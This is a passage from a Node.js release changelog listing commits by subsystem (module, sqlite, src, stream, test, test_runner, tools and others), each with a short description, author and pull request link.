<li>[<a href="https://github.com/nodejs/node/commit/5bb89916ea"><code>5bb89916ea</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 6.0.0 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62062" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62062/hovercard">#62062</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b067d74d94"><code>b067d74d94</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.14.2 to 2.15.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62064" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62064/hovercard">#62064</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/830e5cd125"><code>830e5cd125</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.0 to 4.32.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61911/hovercard">#61911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16c839a3dd"><code>16c839a3dd</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.14.1 to 2.14.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61909/hovercard">#61909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/498abf661e"><code>498abf661e</code></a>] - <strong>meta</strong>: bump actions/stale from 10.1.1 to 10.2.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61908" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61908/hovercard">#61908</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78ac17f426"><code>78ac17f426</code></a>] - <strong>module</strong>: fix coverage of mocked CJS modules imported from ESM (Marco) <a href="https://github.com/nodejs/node/pull/62133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62133/hovercard">#62133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46cfad4138"><code>46cfad4138</code></a>] - <strong>module</strong>: run require.resolve through module.registerHooks() (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62028" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62028/hovercard">#62028</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b6be3fe14"><code>8b6be3fe14</code></a>] - <strong>module</strong>: mark require(esm) as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60959/hovercard">#60959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/68fbc0c6cc"><code>68fbc0c6cc</code></a>] - <strong>module</strong>: mark module compile cache as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60971" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60971/hovercard">#60971</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c851e76f8c"><code>c851e76f8c</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: add <code>setTOS</code> and <code>getTOS</code> to <code>Socket</code> (Amol Yadav) <a href="https://github.com/nodejs/node/pull/61503" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61503/hovercard">#61503</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c206ecb31"><code>4c206ecb31</code></a>] - <strong>quic</strong>: remove CryptoKey support from session keys option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62335" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62335/hovercard">#62335</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f9c085cf5"><code>2f9c085cf5</code></a>] - <strong>sqlite</strong>: handle stmt invalidation (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61877/hovercard">#61877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ac4304c87"><code>6ac4304c87</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sqlite</strong>: add limits property to DatabaseSync (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61298/hovercard">#61298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aaf9af1672"><code>aaf9af1672</code></a>] - <strong>sqlite</strong>: mark as release candidate (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61262" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61262/hovercard">#61262</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d67e5d693"><code>7d67e5d693</code></a>] - <strong>src</strong>: convert context_frame field in AsyncWrap to internal field (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8ea1aaa8a"><code>d8ea1aaa8a</code></a>] - <strong>src</strong>: make AsyncWrap subclass internal field counts explicit (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1dbf3bedbe"><code>1dbf3bedbe</code></a>] - <strong>src</strong>: improve EC JWK import performance (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62396" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62396/hovercard">#62396</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd84af747b"><code>cd84af747b</code></a>] - <strong>src</strong>: handle null backing store in ArrayBufferViewContents::Read (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/62343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62343/hovercard">#62343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f553cdc01"><code>4f553cdc01</code></a>] - <strong>src</strong>: enable compilation/linking with OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62410/hovercard">#62410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70f8057258"><code>70f8057258</code></a>] - <strong>src</strong>: use stack allocation in indexOf latin1 path (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/62268" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62268/hovercard">#62268</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d788467b6a"><code>d788467b6a</code></a>] - <strong>src</strong>: expose async context frame debugging helper to JS (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4213f893ec"><code>4213f893ec</code></a>] - <strong>src</strong>: release context frame in AsyncWrap::EmitDestroy (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/61995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61995/hovercard">#61995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79fb8cbcf5"><code>79fb8cbcf5</code></a>] - <strong>src</strong>: use validate_ascii_with_errors instead of validate_ascii (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61122/hovercard">#61122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2df328d59e"><code>2df328d59e</code></a>] - <strong>src</strong>: fix flags argument offset in JSUdpWrap (Weixie Cui) <a href="https://github.com/nodejs/node/pull/61948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61948/hovercard">#61948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb77a7a297"><code>eb77a7a297</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: add C++ support for diagnostics channels (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cda3d30c0"><code>6cda3d30c0</code></a>] - <strong>src</strong>: remove unnecessary <code>c_str()</code> conversions in diagnostic messages (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61786" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61786/hovercard">#61786</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26c6045363"><code>26c6045363</code></a>] - <strong>src</strong>: use bool literals in TraceEnvVarOptions (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61425" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61425/hovercard">#61425</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c8f700fd7"><code>3c8f700fd7</code></a>] - <strong>src</strong>: track allocations made by zstd streams (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61717/hovercard">#61717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94dbb36d4d"><code>94dbb36d4d</code></a>] - <strong>src</strong>: do not store compression methods on Brotli classes (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61717/hovercard">#61717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bef661f182"><code>bef661f182</code></a>] - <strong>src</strong>: extract zlib allocation tracking into its own class (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61717/hovercard">#61717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8079a8297"><code>e8079a8297</code></a>] - <strong>src</strong>: release memory for zstd contexts in <code>Close()</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61717/hovercard">#61717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e1197a3cc"><code>6e1197a3cc</code></a>] - <strong>src</strong>: add more checks and clarify docs for external references (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61719" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61719/hovercard">#61719</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c28a22c4be"><code>c28a22c4be</code></a>] - <strong>src</strong>: fix cjs_lexer external reference registration (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61718" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61718/hovercard">#61718</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e2c5fd7c9"><code>9e2c5fd7c9</code></a>] - <strong>src</strong>: simply uint32 to string as it must not fail (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60846" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60846/hovercard">#60846</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df435d32b8"><code>df435d32b8</code></a>] - <strong>src</strong>: build v8 tick processor as built-in source text modules (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60518" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60518/hovercard">#60518</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cb3573735"><code>2cb3573735</code></a>] - <strong>src,sqlite</strong>: fix filterFunc dangling reference (Edy Silva) <a href="https://github.com/nodejs/node/pull/62281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62281/hovercard">#62281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c44f53b544"><code>c44f53b544</code></a>] - <strong>stream</strong>: preserve error over AbortError in pipeline (Marco) <a href="https://github.com/nodejs/node/pull/62113" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62113/hovercard">#62113</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc541370b4"><code>dc541370b4</code></a>] - <strong>stream</strong>: replace bind with arrow function for onwrite callback (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62087/hovercard">#62087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6cdfbfaa7"><code>f6cdfbfaa7</code></a>] - <strong>stream</strong>: optimize webstreams pipeTo (Mattias Buelens) <a href="https://github.com/nodejs/node/pull/62079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62079/hovercard">#62079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fcf2a9f788"><code>fcf2a9f788</code></a>] - <strong>stream</strong>: fix brotli error handling in web compression streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cdec579c6b"><code>cdec579c6b</code></a>] - <strong>stream</strong>: improve Web Compression spec compliance (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbe5898379"><code>dbe5898379</code></a>] - <strong>stream</strong>: fix UTF-8 character corruption in fast-utf8-stream (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61745/hovercard">#61745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/531e62cd74"><code>531e62cd74</code></a>] - <strong>stream</strong>: fix TransformStream race on cancel with pending write (Marco) <a href="https://github.com/nodejs/node/pull/62040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62040/hovercard">#62040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a3751f2249"><code>a3751f2249</code></a>] - <strong>stream</strong>: accept ArrayBuffer in CompressionStream and DecompressionStream (조수민) <a href="https://github.com/nodejs/node/pull/61913" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61913/hovercard">#61913</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65aa8f68d0"><code>65aa8f68d0</code></a>] - <strong>stream</strong>: fix pipeTo to defer writes per WHATWG spec (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61800/hovercard">#61800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/15f32b4935"><code>15f32b4935</code></a>] - <strong>stream</strong>: fix decoded fromList chunk boundary check (Thomas Watson) <a href="https://github.com/nodejs/node/pull/61884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61884/hovercard">#61884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/569767e52e"><code>569767e52e</code></a>] - <strong>stream</strong>: add fast paths for webstreams read and pipeTo (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61807" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61807/hovercard">#61807</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6834ca13bb"><code>6834ca13bb</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: rename <code>Duplex.toWeb()</code> type option to <code>readableType</code> (René) <a href="https://github.com/nodejs/node/pull/61632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61632/hovercard">#61632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ed5474437"><code>5ed5474437</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 2cb332d710 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62483" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62483/hovercard">#62483</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c9c0f8577"><code>3c9c0f8577</code></a>] - <strong>test</strong>: fix test-buffer-zero-fill-cli to be effective (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/60623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60623/hovercard">#60623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19a52a1abe"><code>19a52a1abe</code></a>] - <strong>test</strong>: update WPT for url to fc3e651593 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62379" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62379/hovercard">#62379</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/111ba9bd5b"><code>111ba9bd5b</code></a>] - <strong>test</strong>: wait for reattach before initial break on restart (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62471" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62471/hovercard">#62471</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0897c6cc08"><code>0897c6cc08</code></a>] - <strong>test</strong>: disable flaky WPT Blob test on AIX (James M Snell) <a href="https://github.com/nodejs/node/pull/62470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62470/hovercard">#62470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c3d93bfab"><code>1c3d93bfab</code></a>] - <strong>test</strong>: avoid flaky run wait in debugger restart test (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62112" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62112/hovercard">#62112</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83416a640a"><code>83416a640a</code></a>] - <strong>test</strong>: skip test-cluster-dgram-reuse on AIX 7.3 (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/62238" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62238/hovercard">#62238</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af8d0922dd"><code>af8d0922dd</code></a>] - <strong>test</strong>: add WebCrypto Promise.prototype.then pollution regression tests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62226/hovercard">#62226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fc9a60ec74"><code>fc9a60ec74</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 6a1c545d77 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62187/hovercard">#62187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12ba2d74fe"><code>12ba2d74fe</code></a>] - <strong>test</strong>: update WPT for url to c928b19ab0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62148" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62148/hovercard">#62148</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e15e5b647"><code>4e15e5b647</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to c9e955840a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62147" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62147/hovercard">#62147</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc66a05558"><code>dc66a05558</code></a>] - <strong>test</strong>: improve WPT report runner (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9536e5621b"><code>9536e5621b</code></a>] - <strong>test</strong>: update WPT compression to ae05f5cb53 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fb1c0bda0a"><code>fb1c0bda0a</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 42e47329fd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62048/hovercard">#62048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d886f27485"><code>d886f27485</code></a>] - <strong>test</strong>: fix skipping behavior for <code>test-runner-run-files-undefined</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62026/hovercard">#62026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f79df03e0b"><code>f79df03e0b</code></a>] - <strong>test</strong>: remove unnecessary <code>process.exit</code> calls from test files (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62020" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62020/hovercard">#62020</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1319295467"><code>1319295467</code></a>] - <strong>test</strong>: skip <code>test-url</code> on <code>--shared-ada</code> builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62019" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62019/hovercard">#62019</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ea06727c6"><code>2ea06727c6</code></a>] - <strong>test</strong>: skip strace test with shared openssl (Richard Lau) <a href="https://github.com/nodejs/node/pull/61987" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61987/hovercard">#61987</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0680d5df7"><code>c0680d5df7</code></a>] - <strong>test</strong>: avoid flaky debugger restart waits (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/61773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61773/hovercard">#61773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/22b748ef72"><code>22b748ef72</code></a>] - <strong>test</strong>: fix typos in test files (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/61408" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61408/hovercard">#61408</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a20bf9a84d"><code>a20bf9a84d</code></a>] - <strong>test</strong>: allow filtering async internal frames in assertSnapshot (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61769/hovercard">#61769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec2913f036"><code>ec2913f036</code></a>] - <strong>test</strong>: unify assertSnapshot stacktrace transform (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61665" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61665/hovercard">#61665</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/460f41233d"><code>460f41233d</code></a>] - <strong>test</strong>: check stability block position in API markdown (René) <a href="https://github.com/nodejs/node/pull/58590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58590/hovercard">#58590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ad02065d5"><code>9ad02065d5</code></a>] - <strong>test</strong>: adapt buffer test for v8 sandbox (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/61772" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61772/hovercard">#61772</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5cf001736e"><code>5cf001736e</code></a>] - <strong>test</strong>: update FileAPI tests from WPT (Ms2ger) <a href="https://github.com/nodejs/node/pull/61750" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61750/hovercard">#61750</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/84c7a23223"><code>84c7a23223</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 7cbe7e8ed9 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61729/hovercard">#61729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/276a32fd10"><code>276a32fd10</code></a>] - <strong>test</strong>: update WPT for url to efb889eb4c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61728/hovercard">#61728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5f21d36a6"><code>f5f21d36a6</code></a>] - <strong>test_runner</strong>: add exports option for module mocks (sangwook) <a href="https://github.com/nodejs/node/pull/61727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61727/hovercard">#61727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfc8a12977"><code>bfc8a12977</code></a>] - <strong>test_runner</strong>: make it compatible with fake timers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/59272" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59272/hovercard">#59272</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0cde40e1d"><code>e0cde40e1d</code></a>] - <strong>test_runner</strong>: set non-zero exit code when suite errors occur (Edy Silva) <a href="https://github.com/nodejs/node/pull/62282" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62282/hovercard">#62282</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d74efd6834"><code>d74efd6834</code></a>] - <strong>test_runner</strong>: run afterEach on runtime skip (Igor Shevelenkov) <a href="https://github.com/nodejs/node/pull/61525" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61525/hovercard">#61525</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8287ca749e"><code>8287ca749e</code></a>] - <strong>test_runner</strong>: expose expectFailure message (sangwook) <a href="https://github.com/nodejs/node/pull/61563" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61563/hovercard">#61563</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f2025fd1e"><code>1f2025fd1e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: expose worker ID for concurrent test execution (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61394/hovercard">#61394</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b1199c7bb4"><code>b1199c7bb4</code></a>] - <strong>test_runner</strong>: replace native methods with primordials (Ayoub Mabrouk) <a href="https://github.com/nodejs/node/pull/61219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61219/hovercard">#61219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ca20fc33d"><code>1ca20fc33d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: show interrupted test on SIGINT (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61676" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61676/hovercard">#61676</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/207ba4f89f"><code>207ba4f89f</code></a>] - <strong>test_runner</strong>: fix suite rerun (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/61775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61775/hovercard">#61775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9927335c11"><code>9927335c11</code></a>] - <strong>tls</strong>: forward keepAlive, keepAliveInitialDelay, noDelay to socket (Sergey Zelenov) <a href="https://github.com/nodejs/node/pull/62004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62004/hovercard">#62004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a1c3c901c0"><code>a1c3c901c0</code></a>] - <strong>tools</strong>: bump picomatch from 4.0.3 to 4.0.4 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62439" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62439/hovercard">#62439</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c6f5ed7c2"><code>1c6f5ed7c2</code></a>] - <strong>tools</strong>: adopt the <code>--check-for-duplicates</code> NCU flag (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62478" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62478/hovercard">#62478</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b53377e8fe"><code>b53377e8fe</code></a>] - <strong>tools</strong>: bump flatted from 3.4.1 to 3.4.2 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62375" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62375/hovercard">#62375</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f102e79b80"><code>f102e79b80</code></a>] - <strong>tools</strong>: bump eslint deps (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/62356" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62356/hovercard">#62356</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5d74f8216"><code>f5d74f8216</code></a>] - <strong>tools</strong>: add eslint-plugin-regexp (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/62093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62093/hovercard">#62093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc5b9a04ad"><code>bc5b9a04ad</code></a>] - <strong>tools</strong>: bump flatted from 3.3.3 to 3.4.1 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62255/hovercard">#62255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bad48b9700"><code>bad48b9700</code></a>] - <strong>tools</strong>: validate all commits that are pushed to <code>main</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62246/hovercard">#62246</a></li>
